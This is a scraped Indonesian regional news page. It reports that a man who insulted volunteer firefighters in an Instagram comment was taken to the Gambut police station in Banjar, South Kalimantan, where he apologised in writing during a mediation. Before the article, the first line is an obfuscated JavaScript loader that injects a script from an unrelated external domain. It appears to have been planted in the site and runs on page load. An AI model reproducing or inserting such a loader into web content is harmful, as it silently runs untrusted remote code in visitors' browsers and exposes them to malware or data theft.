(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Akibat komentar di akun media sosial Instagram bernada menghujat relawan barisan pemadam kebakaran (BPK), seorang lelaki dibawa ke Mapolsek Gambut, Kabupaten Banjar, Kalimantan Selatan, Kamis (21/9/2023) malam.
Berawal dari sebuah komentar pemilik akun badutbanjarmasin.planetbadut yang menulis “Banyak pemadam dikalsel ini munya hutan kebakar, ku liat herlykopter aja bagawian itupun ada sebuting aja, pemadam palingan yang dibayar pemerintah itupun sebuah aja dibagi bginya tempat lain (emoticon tepuk tangan). Percuma banyak pemadam buhannya kulir memadamkn hutan kulir bebuang minyak kecuali ada rumah kebakar hanyar turunan pemadamnya lambat banar (emoticon tepuk tangan), itu aja infonya kaya rumah ulun dilandasan ulin masuk komlek dah kadada datangan pemadam ada sebuah aja pemadam dari pemkod (emoticon tertawa ) #bpkkalsel nih belom sip banar lagi”.
Baca juga: Kebakaran di Sungai Jingah Hanguskan 13 Rumah, 60 Jiwa Kehilangan Tempat Tinggal
Perihal itu membuat segenap relawan barisan pemadam kebakaran Kalsel tidak terima dengan adanya komentar seperti yang dilontarkan oleh pemilik akun badutbanjarmasin.planetbadut.
“Komentarnya itu meulah (Membikin, red) relawan tersinggung, lalu terjadi kegaduhan (keributan) di berbagai grup antar relawan,” ucap Amang Udin, perwakilan kerukunan relawan Gambut.
Tidak membutuhkan waktu lama, relawan BPK akhirnya menemukan pemilik akun tersebut dan meminta pemilik akun untuk klarifikasi dan meminta maaf atas komentar bernada menghujat relawan BPK dan Damkar.
Pemilik akun akhirnya bersedia untuk berhadir dan meminta maaf atas sikapnya.
Baca juga: Karhutla Hanguskan SMPN 2 Gambut, Satu Rumah Warga Tak Bersisa
“Ia pun membuat surat pernyataan permohonan minta maaf secara tertulis di atas materai dan berjanji tidak tidak akan mengulangi perbuatannya semacam ini lagi di waktu yang akan datang,” ucap Amang Udin.
“Semoga dengan cara ini tidak ada lagi warga yang menghujat atau pun memojokkan relawan pemadam kebakaran, baik di media sosial maupun di kehidupan sehari-hari, kritik boleh tapi lihat kondisi dan fakta di lapangan,” ucapnya Yandi, anggota kerukunan relawan Gambut.
Mediasi difasilitasi anggota Polsek Gambut berlangsung di ruang restorative justice, disaksikan oleh anggota Polsek dan Bhabinkamtibmas Gambut, dan perwakilan kerukunan relawan BPK Gambut diantaranya Amank Udin, H Alap, H Hazmi, Yandi, Yudha dan lainnya. (Kanalkalimantan.com/nh)
Reporter : nh
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.